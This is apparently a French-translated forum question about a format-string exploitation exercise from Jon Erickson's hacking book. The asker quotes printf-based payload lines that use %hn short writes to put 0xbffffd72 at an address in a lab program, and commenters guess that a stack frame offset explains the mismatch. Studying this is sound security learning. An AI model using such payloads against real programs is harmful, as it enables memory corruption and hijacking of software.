Dans le livre de Jon Erickson Hacking: l'art de l'exploitation, il veut écrire 0xbffffd72 à une valeur qui existe à 0x08049794. Donc il va ...Exploitation de chaîne de format en utilisant des écritures courtes: 4 octets off
./fmt_vuln $(printf "\94\x97\x04\x08"%x%x%x%hn
...
test_val @ x08049794 = -65515 0xffff0015
15 est le nombre d'octets écrits jusqu'à présent.
Ensuite, il soustrait 8 de 0xfd72 pour le premier court et obtient 64874. Pourquoi soustrait 8 et pas 15 ou un autre nombre?
Et après qu'il retranche 0xfd72 de 0x1bfff pour obtenir 49805.
Puis il le fait
./fmt_vuln $(printf "\94\x97\x04\x08\96\x97\x04\x08")%64874x%4\$hn%49805x%5\$hn
Et puis il obtient le résultat correct de 0xbffffd72.
Mais quand je l'ai
./fmt_vuln $(printf "\94\x97\x04\x08")%64874x%4\$hn
Je 0xfffffd6e obtenu. Je ne sais pas pourquoi j'ai obtenu fd6e au lieu de fd72.
Le décalage correspond probablement à la taille du 'cadre de pile' pour la fonction, ou à peu près. –
@JonathanLeffler, Comment puis-je vérifier si c'est le cas? –
Le livre ne l'explique-t-il pas? Cela devrait. –